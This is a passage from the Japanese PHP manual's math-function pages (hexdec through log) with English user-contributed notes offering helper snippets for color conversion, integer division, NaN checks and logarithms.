       $start['b'] = hexdec(substr($hexstart, 4, 2));

       $end['r'] = hexdec(substr($hexend, 0, 2));
       $end['g'] = hexdec(substr($hexend, 2, 2));
       $end['b'] = hexdec(substr($hexend, 4, 2));

       $step['r'] = ($start['r'] - $end['r']) / ($stepsforthis);
       $step['g'] = ($start['g'] - $end['g']) / ($stepsforthis);
       $step['b'] = ($start['b'] - $end['b']) / ($stepsforthis);

       for($i = 0; $i <= $stepsforthis-$fixend; $i++) {

           $rgb['r'] = floor($start['r'] - ($step['r'] * $i));
           $rgb['g'] = floor($start['g'] - ($step['g'] * $i));
           $rgb['b'] = floor($start['b'] - ($step['b'] * $i));

           $hex['r'] = sprintf('%02x', ($rgb['r']));
           $hex['g'] = sprintf('%02x', ($rgb['g']));
           $hex['b'] = sprintf('%02x', ($rgb['b']));

           $gradient[] = strtoupper(implode(NULL, $hex));
       }
   }

   $gradient[] = $hex_array[$tot-1];

return $gradient;
}
//end MultiColorFade()

//start test
$multi_hex_array = array();
$multi_hex_array[] = array('FF0000','FFFF00');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF','000000');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF','000000','FFFFFF');

foreach($multi_hex_array as $hex_array){

   $totcolors = count($hex_array);
   $steps = 44;

   $a = MultiColorFade($hex_array, $steps);
   $tot = count($a);

   $table = '<table border=1 width="300">' . "\n";

   for ($i = 0; $i < $tot; $i++){
       $table .= ' <tr><td bgcolor="' . $a[$i] . '">' . ($i+1) .'</td><td><pre>' . $a[$i] . '</pre></td></tr>' . "\n";
   }

   $table .= '</table><br /><br />';

   echo '<br />Demanded steps = ' . $steps . '<br />';
   echo 'Returned steps = ' . $tot;

   if($steps == $tot){
       echo '<br />OK.' . $steps . ' = ' . $tot . '<br />';
   }else{
       echo '<br /><span style="color:#FF0000">FAILED! Demanded steps and returned steps are NOT equal!: ' . $steps . ' != ' . $tot . '</span><br />';
   }

   echo $table;

}
//end test
?>

Repley.
ayadav at infoprocorp dot com 28-Dec-2005 12:03
From Amit Yadav

Hex to binary conversion

$num = hexdec("20DF");
echo binfromdec($num);

function binfromdec($num)
{
    if ($num > 32766)    return ("Too Large!");
    if ($num & 16384)    $bit15 = 1;
    if ($num & 8192)    $bit14 = 1;
    if ($num & 4096)    $bit13 = 1;
    if ($num & 2048)    $bit12 = 1;
    if ($num & 1024)    $bit11 = 1;
    if ($num & 512)        $bit10 = 1;
    if ($num & 256)        $bit9 = 1;
    if ($num & 128)        $bit8 = 1;
    if ($num & 64)        $bit7 = 1;
    if ($num & 32)        $bit6 = 1;
    if ($num & 16)        $bit5 = 1;
    if ($num & 8)        $bit4 = 1;
    if ($num & 4)        $bit3 = 1;
    if ($num & 2)        $bit2 = 1;
    if ($num & 1)        $bit1 = 1;

    return ("" . $bit15 . $bit14 . $bit13 . $bit12 . $bit11 . $bit10 . $bit9 . $bit8 . $bit7 . $bit6 . $bit5 . $bit4 . $bit3 . $bit2 . $bit1);

}
cory at lavacube dot com 28-Oct-2005 01:59
A handy little function to convert HEX colour codes to "web safe" colours...

<?php

function color_mkwebsafe ( $in )
{
   // put values into an easy-to-use array
   $vals['r'] = hexdec( substr($in, 0, 2) );
   $vals['g'] = hexdec( substr($in, 2, 2) );
   $vals['b'] = hexdec( substr($in, 4, 2) );

   // loop through
   foreach( $vals as $val )
   {
       // convert value
       $val = ( round($val/51) * 51 );
       // convert to HEX
       $out .= str_pad(dechex($val), 2, '0', STR_PAD_LEFT);
   }

   return $out;
}

?>

Example: color_mkwebsafe('0e5c94');
Produces: 006699

Hope this helps someone out... Happy coding. :-)
detrate at hotmail dot com 29-Sep-2005 06:38
I made this for a little phpbb mod.  It was used to take the hex value from the database and make a color 20 (in decimal) less, resulting a darker color.

EXAMPLE: #336699 to #1f5285

<?php

$row1 = "336699"; // color
$c = 20;          // difference value

$rgb = array(substr($row1,0,2), substr($row1,2,2), substr($row1,4,2));

for($i=0; $i < 3; $i++)
{
  if((hexdec($rgb[$i])-$c) >= 0)
  {
   $rgb[$i] = hexdec($rgb[$i])-$c;

   $rgb[$i] = dechex($rgb[$i]);
    if(hexdec($rgb[0]) <= 9)
     $rgb[$i] = "0".$rgb[$i];
  } else {
    $rgb[$i] = "00";
  }
}

$row2 = $rgb[0].$rgb[1].$rgb[2];

?>
Gabriel Reguly 16-Aug-2005 11:24
After esnhexdec from "rledger at gmail dot com",  the esndechex:

<?php
    function esndechex($dec){
         $a = strtoupper(dechex(substr($dec, 1,  2)));
         $b = strtoupper(dechex(substr($dec, 3, 10)));
         return $a . $b;
    }
?>
bishop 04-Jun-2005 07:51
Bullet-proof hex-to-rgb colour converter like brian at sagesport dot com wanted, just far fewer code lines. As a bonus, gives you the ability to return as string or array:

<?php
    function &hex2rgb($hex, $asString = true)
    {
        // strip off any leading #
        if (0 === strpos($hex, '#')) {
            $hex = substr($hex, 1);
        } else if (0 === strpos($hex, '&H')) {
            $hex = substr($hex, 2);
        }

        // break into hex 3-tuple
        $cutpoint = ceil(strlen($hex) / 2)-1;
        $rgb = explode(':', wordwrap($hex, $cutpoint, ':', $cutpoint), 3);

        // convert each tuple to decimal
        $rgb[0] = (isset($rgb[0]) ? hexdec($rgb[0]) : 0);
        $rgb[1] = (isset($rgb[1]) ? hexdec($rgb[1]) : 0);
        $rgb[2] = (isset($rgb[2]) ? hexdec($rgb[2]) : 0);

        return ($asString ? "{$rgb[0]} {$rgb[1]} {$rgb[2]}" : $rgb);
    }
?>

Handles 2, 3, and 6 character colour codes with leading # or &H.
zubfatal, root at it dot dk 25-Mar-2005 02:36
This replaces my previous class.
I've added a few more input checks in the rgb2hex function.
Also it returned incorrect hex values for 1-digit values.

color::rgb2hex(array(0,0,0)) would output 000 not 00000.

<?php

/**
* Convert colors
*
* Usage:
*  color::hex2rgb("FFFFFF")
*  color::rgb2hex(array(171,37,37))
*
* @author      Tim Johannessen <root@it.dk>
* @version     1.0.1
*/

class color {

    /**
     * Convert HEX colorcode to an array of colors.
     * @return      array        Returns the array of colors as array(red,green,blue)
     */

    function hex2rgb($hexVal = "") {
        $hexVal = eregi_replace("[^a-fA-F0-9]", "", $hexVal);
        if (strlen($hexVal) != 6) { return "ERR: Incorrect colorcode, expecting 6 chars (a-f, 0-9)"; }
        $arrTmp = explode(" ", chunk_split($hexVal, 2, " "));
        $arrTmp = array_map("hexdec", $arrTmp);
        return array("red" => $arrTmp[0], "green" => $arrTmp[1], "blue" => $arrTmp[2]);
    }

    /**
     * Convert RGB colors to HEX colorcode
     * @return      string        Returns the converted colors as a 6 digit colorcode
     */
    function rgb2hex($arrColors = null) {
        if (!is_array($arrColors)) { return "ERR: Invalid input, expecting an array of colors"; }
        if (count($arrColors) < 3) { return "ERR: Invalid input, array too small (3)"; }

        array_splice($arrColors, 3);

        for ($x = 0; $x < count($arrColors); $x++) {
            if (strlen($arrColors[$x]) < 1) {
                return "ERR: One or more empty values found, expecting array with 3 values";
            }

            elseif (eregi("[^0-9]", $arrColors[$x])) {
                return "ERR: One or more non-numeric values found.";
            }

            else {
                if ((intval($arrColors[$x]) < 0) || (intval($arrColors[$x]) > 255)) {
                    return "ERR: Range mismatch in one or more values (0-255)";
                }

                else {
                    $arrColors[$x] = strtoupper(str_pad(dechex($arrColors[$x]), 2, 0, STR_PAD_LEFT));
                }
            }
        }

        return implode("", $arrColors);
    }

}

?>
brian at sagesport dot com 22-Mar-2005 09:08
The issue I've seen with the existing hex to dec conversion routines is the lack of error-trapping.  I stick to the theory that one should try to cover ALL the bases when writing a generalized routine such as this one.  I have a varied background that covers a wide variety of design/development languages, on the web as well as desktop apps.  As such I've seen multiple formats for writing hex colors.

For example, the color red COULD be written as follows:
#ff0000
&Hff0000
#ff
&Hff

Therefore I have written a function that is case-insensitive and takes into account the chance that different developers have a tendency to format hex colors in different ways.

<?php
  function convert_color($hex){
    $len = strlen($hex);
    $chars = array("#","&","H","h");
    $hex = strip_chars($hex, $chars);
    preg_match("/([0-9]|[A-F]|[a-f]){".$len."}/i",$hex,$arr);
    $hex = $arr[0];
    if ($hex) {
      switch($len) {
        case 2:
          $red = hexdec($hex);
          $green = 0;
          $blue = 0;
          break;
        case 4:
          $red = hexdec(substr($hex,0,2));
          $green=hexdec(substr($hex,2,2));
          $blue = 0;
          break;
        case 6:
          $red = hexdec(substr($hex,0,2));
          $green=hexdec(substr($hex,2,2));
          $blue = hexdec(substr($hex,4,2));
          break;
      };
      $color[success] = true;
      $color[r] = $red;
      $color[g] = $green;
      $color[b] = $blue;
      return $color;
    } else {
      $color[success] = false;
      $color[error] = "unable to convert hex to dec";
    };
  }

  function strip_chars($string, $char){
    $len = strlen($string);
    $count = count($char);
    if ($count >= 2) {
      for ($i=0;$i<=$count;$i++) {
        if ($char[$i]) {
          $found = stristr($string,$char[$i]);
          if ($found) {
            $val = substr($string,$found+1,$len-1);
            $string = $val;
          };
        };
      };
    } else {
      $found = stristr($string,$char);
      if ($found) {
        $val = substr($string,$found+1,$len-1);
      };
    };
    echo $val;
    return $val;
  }

  /*
    To use simply use the following function call:
      $color = convert_color("#FF");
      this will return the following assoc array if successful:
      *[success] = true
      *[r] = 255
      *[g] = 0
      *[b] = 0

      or copy and paste the following code:

      $hex = "FFFFFF"; // Color White
      $color = convert_color($hex);
      var_dump($color);
 */
?>

As you can see, the function "convert_color" accepts a hex # in most acceptable formats and returns an associative array.  [success] is set to TRUE if the function succeeds and FALSE if not.  The array members [r], [g] and [b] hold the red,green and blue values respectively.  If it fails, [error] holds a custom error message.

"strip_chars" is a support function written to remove the unwanted characters from the hex string, and sends the concatenated string back to the calling function.  It will accept either a single value or an array of values for the characters to remove.
groobo 10-Feb-2005 11:46
It's just a revision to marfastic's ligten_up script, it simply adds/subtracts mod_color to orig_color.
I use it often to adjust tonals rather than brightness only

<?
function mod_color($orig_color, $mod, $mod_color){
    /*
        $orig_color - original html color, hex
        $mod_color - modifying color, hex
        $mod - modifier '+' or '-'
        usage: mod_color('CCCCCC', '+', '000033')
    */
    // does quick validation
    preg_match("/([0-9]|[A-F]){6}/i",$orig_color,$orig_arr);
    preg_match("/([0-9]|[A-F]){6}/i",$mod_color,$mod_arr);
    if ($orig_arr[0] && $mod_arr[0]) {
        for ($i=0; $i<6; $i=$i+2) {
            $orig_x = substr($orig_arr[0],$i,2);
            $mod_x = substr($mod_arr[0],$i,2);
            if ($mod == '+') { $new_x = hexdec($orig_x) + hexdec($mod_x); }
            else { $new_x = hexdec($orig_x) - hexdec($mod_x); }
            if ($new_x < 0) { $new_x = 0; }
            else if ($new_x > 255) { $new_x = 255; };
            $new_x = dechex($new_x);
            $ret .= $new_x;
        }
        return $ret;
    } else { return false; }
}
?>
19-Jan-2005 09:33
I wondered long time what is the best way to generate RGB-color from HEX-color, and just now i found the simpliest way!

<?php
$hex = "FF00FF";
$rgb = hexdec($hex); // 16711935
?>

I hope this will save your time! :)
andreas.schmeiler 05-Feb-2003 05:59
Here's another hex2bin variant, works pretty well to me.

function hex2bin($hexdata) {

   for ($i=0;$i<strlen($hexdata);$i+=2) {
      $bindata.=chr(hexdec(substr($hexdata,$i,2)));
   }

   return $bindata;
}
chrism at four dot net 15-Dec-2001 10:02
hexdec from 4.1.0 onwards does not show
the same size limitation and therefore
works differently with large numbers than previous php versions.

To obtain the same results, use:

(int) hexdec (...)


直角三角形の斜辺の長さを計算する

  • ≪ hexdec
  • intdiv ≫
  • PHP Manual
  • Math 関数
  • 直角三角形の斜辺の長さを計算する

hypot

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

hypot — 直角三角形の斜辺の長さを計算する

説明

hypot ( float $x , float $y ) : float

hypot() は、直角をはさむ 2 辺の長さが x および y である 直角三角形の斜辺の長さ、すなわち原点と (x, y) との距離を返します。 これは sqrt(x*x + y*y) と等価です。

パラメータ

x

最初の辺の長さ。

y

二番目の辺の長さ。

返り値

斜辺の長さを返します。

User Contributed Notes

Hayley Watson 04-Sep-2017 11:17
If you need a higher-dimensional diagonal length (norm), you can exploit the fact that sqrt(x*x+y*y+z*z) == sqrt(x*x+sqrt(y*y+z*z)). In other words hypot(x, y, z)==hypot(x, hypot(y, z)).

To be generic about it....
<?php

function norm(...$args)
{
    return array_reduce($args, 'hypot', 0);
}

?>
robinv at ecosse dot net 07-Jan-2004 09:18
A simpler approach would be to allow an arbitrary number of parameters. That would allow for whatever number of dimensions you want *and* it would be backwards compatible with the current implementation.

<?php

function hypo()
{
    $sum = 0;
    foreach (func_get_args() as $dimension) {
        if (!is_numeric($dimension)) return -1;
        $sum += pow($dimension, 2);
    }
    return sqrt($sum);
}

print hypo();          // vector in 0 dimensions, magnitude = 0.
print hypo(1);         // vector in 1 dimension,  magnitude = 1.
print hypo(3, 4);       // vector in 2 dimensions, magnitude = 5.
print hypo(2, 3, 6);     // vector in 3 dimensions, magnitude = 7.

?>


整数値の除算

  • ≪ hypot
  • is_finite ≫
  • PHP Manual
  • Math 関数
  • 整数値の除算

intdiv

(PHP 7, PHP 8)

intdiv — 整数値の除算

説明

intdiv ( int $num1 , int $num2 ) : int

num1 を num2 で割った整数商を返します。

パラメータ

num1

割られる数。

num2

num1 を割る数。

返り値

num1 を num2 で割った整数商。

エラー / 例外

num2 が 0 の場合、DivisionByZeroError 例外がスローされます。num1 が PHP_INT_MIN で num2 が -1 の場合、 ArithmeticError 例外がスローされます。

例

例1 intdiv() の例

<?php
var_dump(intdiv(3, 2));
var_dump(intdiv(-3, 2));
var_dump(intdiv(3, -2));
var_dump(intdiv(-3, -2));
var_dump(intdiv(PHP_INT_MAX, PHP_INT_MAX));
var_dump(intdiv(PHP_INT_MIN, PHP_INT_MIN));
var_dump(intdiv(PHP_INT_MIN, -1));
var_dump(intdiv(1, 0));
?>
int(1)
int(-1)
int(-1)
int(1)
int(1)
int(1)

Fatal error: Uncaught ArithmeticError: Division of PHP_INT_MIN by -1 is not an integer in %s on line 8
Fatal error: Uncaught DivisionByZeroError: Division by zero in %s on line 9

参考

  • / - 浮動小数点数値の除算
  • % - 整数値の剰余
  • fmod() - 浮動小数点数値の剰余

User Contributed Notes

admin at infis dot net dot ru 23-Oct-2019 01:31
For earler versions PHP you may use:

function intdiv_1($a, $b) {
    $a = (int) $a;
    $b = (int) $b;
    return ($a - fmod($a, $b)) / $b;
}
sree dot millu at gmail dot com 20-Oct-2019 03:01
@AmeenRoss
This does NOT  seem to be equal to intdiv:

<?php
function intdiv_1($a, $b){
    return ($a - $a % $b) / $b;
}
 ?>

See this example code
<?php

$x = 5.6;
$y = 1.4 ;

echo intdiv($x,$y);

    echo "\n";

function intdiv_1($a, $b){
    return ($a - $a % $b) / $b;
}

echo intdiv_1($x,$y);
?>

//Output
5
4
Bubonic dot pestilence at gmail dot com 29-Dec-2015 03:23
<?php

function intdiv_2($a, $b)  {
    $val = $a / $b;
    return ($val < 0 ? "ceil" : "floor") ($val);
}

?>

Aren't this?!
polettog at gmail dot com 31-Jul-2015 09:34
Without intdiv(), the following may be a good way (with $a and $b of type integer and not too big) :
<?php
(int)($a / $b)
?>
because in case of divisible integers, the result will be integer and there is no risk of float appearing round but below their represented value (like the case (0.1+0.7)*10).
$a and $b really needs to be of type integer though.
If they are too big and indivisible, some precision will be lost during the conversion to float and the result may be inaccurate.
AmeenRoss 11-Jul-2015 01:15
This does indeed seem to be equal to intdiv:

<?php
function intdiv_1($a, $b){
    return ($a - $a % $b) / $b;
}
?>

However, this isn't:

<?php
function intdiv_2($a, $b){
    return floor($a / $b);
}
?>

Consider an example where either of the parameters is negative:
<?php
$param1 = -10;
$param2 = 3;
print_r([
    'modulus' => intdiv_1($param1, $param2),
    'floor' => intdiv_2($param1, $param2),
]);

/**
 * Array
 * (
 *     [modulus] => -3
 *     [floor] => -4
 * )
 */
?>
Ts.Saltan 16-Jun-2015 08:53
$a = 57;
$b = 3;

var_dump(
    intdiv($a,$b),
    intdiv_1($a,$b),
    intdiv_2($a,$b)
);

function intdiv_1($a, $b){
    return ($a-$a%$b)/$b;
}

function intdiv_2($a, $b){
    return floor($a/$b);
}
//intdiv($a, $b) == floor($a/$b) == ($a-$a%$b)/$b


値が有限の数値であるかどうかを判定する

  • ≪ intdiv
  • is_infinite ≫
  • PHP Manual
  • Math 関数
  • 値が有限の数値であるかどうかを判定する

is_finite

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

is_finite — 値が有限の数値であるかどうかを判定する

説明

is_finite ( float $num ) : bool

num が このプラットフォーム上で有効な有限値であるかどうかを調べます。

パラメータ

num

調べる値。

返り値

num が このプラットフォーム上の PHP の float 型で有効な範囲内の数である場合に true、 それ以外の場合に false を返します。

参考

  • is_infinite() - 値が無限大であるかどうかを判定する
  • is_nan() - 値が非数かどうかを判定する

User Contributed Notes

Daniel Klein 09-Jul-2017 05:17
(is_finite($float)) is equivalent to (!is_infinite($float) && !is_nan($float)), i.e. a number can only be one of finite, infinite and NaN. You don't need to check both is_infinite() and is_nan() to see if a number is invalid or out of range.

<?php
$finite = 42;
$infinite = log(0);
$nan = acos(2);

var_dump(is_finite($finite), is_infinite($finite), is_nan($finite));  // true, false, false
var_dump(is_finite($infinite), is_infinite($infinite), is_nan($infinite));  // false, true, false
var_dump(is_finite($nan), is_infinite($nan), is_nan($nan)); // false, false, true
?>


値が無限大であるかどうかを判定する

  • ≪ is_finite
  • is_nan ≫
  • PHP Manual
  • Math 関数
  • 値が無限大であるかどうかを判定する

is_infinite

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

is_infinite — 値が無限大であるかどうかを判定する

説明

is_infinite ( float $num ) : bool

num が（正または負の）無限大である場合に true を返します。たとえば log(0) の結果、 あるいはこのプラットフォーム上で扱える float の範囲を超えた数などが あてはまります。

パラメータ

num

調べる値。

返り値

num が無限大である場合に true、 そうでない場合に false を返します。

参考

  • is_finite() - 値が有限の数値であるかどうかを判定する
  • is_nan() - 値が非数かどうかを判定する

User Contributed Notes

There are no user contributed notes for this page.


値が非数かどうかを判定する

  • ≪ is_infinite
  • lcg_value ≫
  • PHP Manual
  • Math 関数
  • 値が非数かどうかを判定する

is_nan

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

is_nan — 値が非数かどうかを判定する

説明

is_nan ( float $num ) : bool

num が '非数値 (not a number)' であるかどうかを調べます。たとえば acos(1.01) の結果などがこれにあたります。

パラメータ

num

調べる値。

返り値

num が '非数値 (not a number)' の場合に true、そうでない場合に false を返します。

例

例1 is_nan() の例

<?php
// 無効な計算なので、
// NaN 値を返します
$nan = acos(8);

var_dump($nan, is_nan($nan));
?>

上の例の出力は以下となります。

float(NAN)
bool(true)

参考

  • is_finite() - 値が有限の数値であるかどうかを判定する
  • is_infinite() - 値が無限大であるかどうかを判定する

User Contributed Notes

ScorpioT1000 22-Apr-2020 10:39
function is_nan2($n) {
    return $n !== $n;
}

is_nan2(NAN); // true
php at darkain dot com 12-Apr-2016 08:49
Starting with PHP 7, the string 'NaN' evaluates to the NaN value as well.

Example:
var_dump( (float) 'NaN' );

PHP 5.x and HHVM:
float(0)

PHP 7.0:
float(NAN)
10basetom 20-May-2015 02:29
I would use is_numeric() instead of ctype_digit() if you cannot be 100% sure what data type the string will be. Example from the docs:

<?php
$numeric_string = '42';
$integer        = 42;

ctype_digit($numeric_string);  // true
ctype_digit($integer);         // false (ASCII 42 is the * character)

is_numeric($numeric_string);   // true
is_numeric($integer);          // true
?>
modern dot apocalypse at gmail dot com 15-Mar-2012 10:14
I have decided to do some testing because I am getting unusual results with the is_nan function and here are the results of my tests:

<?php
var_dump(NAN); // float NAN

var_dump(NAN == NAN); // boolean true
var_dump(NAN === NAN); // boolean true
var_dump(is_nan(NAN)); // boolean true

var_dump(NAN == 12); // boolean true
var_dump(NAN === 12); // boolean false
var_dump(is_nan(12)); // boolean false

var_dump(NAN == 12.4); // boolean true
var_dump(NAN === 12.4); // boolean true
var_dump(is_nan(12.4)); // boolean false

var_dump(NAN == NULL); // boolean true
var_dump(NAN === NULL); // boolean false
var_dump(is_nan(NULL)); // boolean false

var_dump(NAN == 'K<WNPO'); // boolean true
var_dump(NAN === 'K<WNPO'); // boolean false
var_dump(is_nan('K<WNPO')); // null and throws a warning "Warning: is_nan() expects parameter 1 to be double, string given in NANTest.php on line 13"
php at keith tyler dot com 14-Apr-2010 04:46
It seems odd to me, but in boolean context, NAN evalutes to true.

<?php
var_dump(acos(8));
var_dump((bool)acos(8));
?>

Returns:

float(NAN)
bool(true)

Incidentally INF and -INF also evaluate to true.
J.K. 07-Jul-2009 04:44
For seeing whether or not something is a number, use ctype_digit().
darkangel at moveinmod dot net 01-Mar-2006 10:04
nan/"not a number" is not meant to see if the data type is numeric/textual/etc..

NaN is actually a set of values which can be stored in floating-point variables, but dont actually evaluate to a proper floating point number.

The floating point system has three sections: 1 bit for the sign (+/-), an 8 bit exponent, and a 23 bit fractional part.
There are rules governing which combinations of values can be placed into each section, and some values are reserved for numbers such as infinity. This leads to certain combinations being invalid, or in other words, not a number.


複合線形合同法

  • ≪ is_nan
  • log10 ≫
  • PHP Manual
  • Math 関数
  • 複合線形合同法

lcg_value

(PHP 4, PHP 5, PHP 7, PHP 8)

lcg_value — 複合線形合同法

説明

lcg_value ( ) : float

lcg_value() は、(0, 1)の範囲の疑似乱数を返します。 この関数は、周期が 2^31 - 85 および 2^31 - 249 の 2 つの CG を組み合わせます。 この関数の周期はこれら 2 つの素数の積と等価です。

警告

この関数が生成する値は、暗号学的に安全ではありません。そのため、これを暗号として使ってはいけません。暗号学的に安全な値が必要な場合は、random_int() か random_bytes() あるいは openssl_random_pseudo_bytes() を使いましょう。

返り値

0.0 と 1.0 の範囲の疑似乱数(0.0 と 1.0 を含みます)を、 浮動小数点数で返します。

参考

  • rand() - 乱数を生成する
  • mt_rand() - メルセンヌ・ツイスター乱数生成器を介して乱数値を生成する

User Contributed Notes

Linndows 08-Aug-2016 02:02
I think best example...
<?php
$x=0;
while($x<=5){
$x++;
echo lcg_value()+$x."\n";   }
     echo lcg_value()+$x-(2*lcg_value()); echo "\n";
?>
daniel dot baulig at gmx dot de 03-Feb-2010 07:16
Choose your weapon:
<?php
function mt_randf($min, $max)
{
    return $min + abs($max - $min) * mt_rand(0, mt_getrandmax())/mt_getrandmax();
}
function lcg_randf($min, $max)
{
    return $min + lcg_value() * abs($max - $min);
}
function randf($min, $max)
{
    return $min + rand(0,getrandmax()) / getrandmax() * abs($max - $min);
}?>
rok kralj gmail com 05-Jun-2007 08:54
An elegant way to return random float between two numbers:

<?php
function random_float ($min,$max) {
   return ($min+lcg_value()*(abs($max-$min)));
}
?>


底が 10 の対数

  • ≪ lcg_value
  • log1p ≫
  • PHP Manual
  • Math 関数
  • 底が 10 の対数

log10

(PHP 4, PHP 5, PHP 7, PHP 8)

log10 — 底が 10 の対数

説明

log10 ( float $num ) : float

底を 10 とする num の対数を返します。

パラメータ

num

処理する引数。

返り値

底を 10 とする num の対数を返します。

参考

  • log() - 自然対数

User Contributed Notes

smalladi at lexgen dot com 20-Nov-2001 03:47
Note that log of a negative or undefined number returns -Infinity.


値がゼロに近い時にでも精度を保つ方法で計算した log(1 + number) を返す

  • ≪ log10
  • log ≫
  • PHP Manual
  • Math 関数
  • 値がゼロに近い時にでも精度を保つ方法で計算した log(1 + number) を返す

log1p

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

log1p — 値がゼロに近い時にでも精度を保つ方法で計算した log(1 + number) を返す

説明

log1p ( float $num ) : float

log1p() は、 log(1 + num) の値を返します。 num がゼロに近い場合でも正確な値が 計算できる方法を使用します。 log() は、このような場合には 精度の問題で log(1) の値を返してしまいます。

パラメータ

num

処理する引数。

返り値

log(1 + num) を返します。

参考

  • expm1() - 値がゼロに近い時にでも精度を保つために exp(number) - 1 を返す
  • log() - 自然対数
  • log10() - 底が 10 の対数

User Contributed Notes

11-Sep-2002 02:29
Note that the benefit of this function for small argument values is lost if PHP is compiled against a C library that that not have builtin support for the log1p() function.

In this case, log1p() will be compiled by using log() instead, and the precision of the result will be identical to log(1), i.e. it will always be 0 for small numbers.
Sample log1p(1.0e-20):
- returns 0.0 if log1p() is approximated by using log()
- returns something very near from 1.0e-20, if log1p() is supported by the underlying C library.

One way to support log1p() correctly on any platform, so that the magnitude of the expected result is respected:

function log1p($x) {
return ($x>-1.0e-8 && $x<1.0e-8) ? ($x - $x*$x/2) : log(1+$x);
}

If you want better precision, you may use a better limited development, for small positive or negative values of x:

log(1+x) = x - x^2/2 + x^3/3 - ... + (-1)^(n-1)*x^n/n + ...

(This serial sum converges only for values of x in [0 ... 1] inclusive, and the ^ operator in the above formula means the exponentiation operator, not the PHP xor operation)

Note that log1p() is undefined for arguments lower than or equal to -1, and that the implied base of the log function is the Neperian "e" constant.


自然対数

  • ≪ log1p
  • max ≫
  • PHP Manual
  • Math 関数
  • 自然対数

log

(PHP 4, PHP 5, PHP 7, PHP 8)

log — 自然対数

説明

log ( float $num , float $base = M_E ) : float

オプションの base パラメータを指定した場合は log() は logbase num を返します。それ以外の場合は log() は num の自然対数を返します。

パラメータ

num

対数を計算する値。

base

オプションで指定する、底 (デフォルトは 'e' で、これは自然対数となります)。

返り値

base を指定した場合はそれを底とする num の対数、指定しない場合は自然対数を返します。

参考

  • log10() - 底が 10 の対数
  • exp() - e の累乗を計算する
  • pow() - 指数表現

User Contributed Notes

rhinopete at batpudding dot com 05-Nov-2018 01:28
Seems like unit prefixes should have a standard PHP function.  Maybe in the future.

I found this page while looking for a quick unit prefix function.  The one by  olafurw was voted down, I think because it had unchecked array indexes and /0s.  So here it is fixed and readable.

-Should work down to PHP 4.
-Not meant for fractions or negatives, so anything less than 1 returns 0.
-Not very effective on really really large numbers, but it's easy to add more prefixes.
-Doesn't handle non numeric arguments. PHP 7+ can do this: function binaryprefix( int $units, $unit = '' )

// returns reduced $units with a binary prefix
// ex. ( 110974120, 'B' ) == 105.8MiB
// ex. ( 2^100, 'B' ) == 1048576.0YiB
// ex. ( 0.12314, 'B' ) == 0B
function binaryprefix( $units, $unit = '' )
{
    $prefix = array('', 'Ki', 'Mi', 'Gi', 'Ti', 'Pi', 'Ei', 'Zi', 'Yi');
    $exponent = min( floor( log( max( 1, $units ), 1024 ) ), count( $prefix ) - 1 );

    if ( $units < 1024 )
        return sprintf( '%d%s%s', max( 1, $units + 1 ) - 1, $prefix[$exponent], $unit );
    else
        return sprintf( '%.1f%s%s', $units / pow(1024, $exponent), $prefix[$exponent], $unit );
}

https://en.wikipedia.org/wiki/Binary_prefix#Adoption_by_IEC.2C_NIST_and_ISO

Also more colloquially:
    $prefix = array('', 'k', 'm', 'g', 't', 'p', 'e', 'z', 'y');
ClaudiuS 21-Feb-2013 07:34
If you just need to check if N is a perfect power of Base, log() is SLOW compared to a WHILE construct that will be 2x faster!

Tested on range: 1 ... 20.000.000 => while() is 2.105 times faster

<?php

$number='fill in your number here'
$base='fill in requested base here';

//use when the power is needed
$pow=0;do { $number/=$base;$pow++; } while ($number>1);
if ($number==1) print $base.'^'.$pow;
else print 'False';

//use when just a check is needed
do $number/=$base; while ($number>1);
if ($number==1) print 'True';
else print 'False';
?>
olafurw [at] gmail.com 04-Nov-2008 04:56
For those interested. Works with older than 4.3 versions.

<?php
    function byteConvert($bytes)
    {
        $s = array('B', 'Kb', 'MB', 'GB', 'TB', 'PB');
        $e = floor(log($bytes)/log(1024));

        return sprintf('%.2f '.$s[$e], ($bytes/pow(1024, floor($e))));
    }
?>
dingus_76 at hotmail dot com 15-May-2008 07:41
well i been pulling my hair out trying to get log to work with big numbers and i ended up writing a bclog function so to save everyone else the stress here it is

<?php
function bclog($X,$base=10,$decimalplace=12){
    $integer_value=0;
    while($X < 1){
        $integer_value = $integer_value - 1 ;
        $X = bcmul($X , base);
    }
    while($X >= $base){
        $integer_value = $integer_value + 1;
        $X = bcdiv($X , $base );
    }
    $decimal_fraction = 0.0;
    $partial = 1.0;
    # Replace X with X to the 10th power
    $X = bcpow($X , 10);
    while($decimalplace > 0){
        $partial = bcdiv($partial , 10);
        $digit=0;
        while($X >= $base){
              $digit = $digit + 1;
              $X = bcdiv($X , $base);
        }
        $decimal_fraction = bcadd($decimal_fraction , bcmul($digit , $partial));
        # Replace X with X to the 10th power
        $X = bcpow($X , 10);
        $decimalplace = $decimalplace - 1 ;
    }
    return $integer_value + $decimal_fraction ;
}
?>
Ulf Wostner 06-Aug-2006 05:56
<?php

#--------------------------------------------------------
#     How many digits does an integer have?
#--------------------------------------------------------

function digit_count($n, $base=10) {

  if($n == 0) return 1;

  if($base == 10) {
    # using the built-in log10(x)
    # might be more accurate than log(x)/log(10).
    return 1 + floor(log10(abs($n)));
  }else{
    # here  logB(x) = log(x)/log(B) will have to do.
   return 1 + floor(log(abs($n))/ log($base));
  }
}

# Example:  How many decimal digits for 2 to the power 24?
echo digit_count(pow(2, 24));

# Example: How many bits to write 1 billion in binary, last century?

if($country_code  == 'US') echo digit_count(pow(10, 9), 2);
if($country_code == 'UK') echo digit_count(pow(10, 12), 2);

#--------------------------------------------------------
#     Using log to format columns.
#--------------------------------------------------------

# Suppose we have a dynamically generated list of integers,
# and want to present them as a table. The use of log10 in
# our digit_count helps calculate the proper format string.

function print_list_of_ints($ints, $line_width=40) {

  # Apply our digit_count to the max int among ints.
  $field_width = 2 + digit_count(max($ints));

  # Create format string for printf.
  $format = "%${field_width}d";

  $ints_per_line = floor($line_width/$field_width);

  $border = str_repeat("-", $ints_per_line * $field_width);

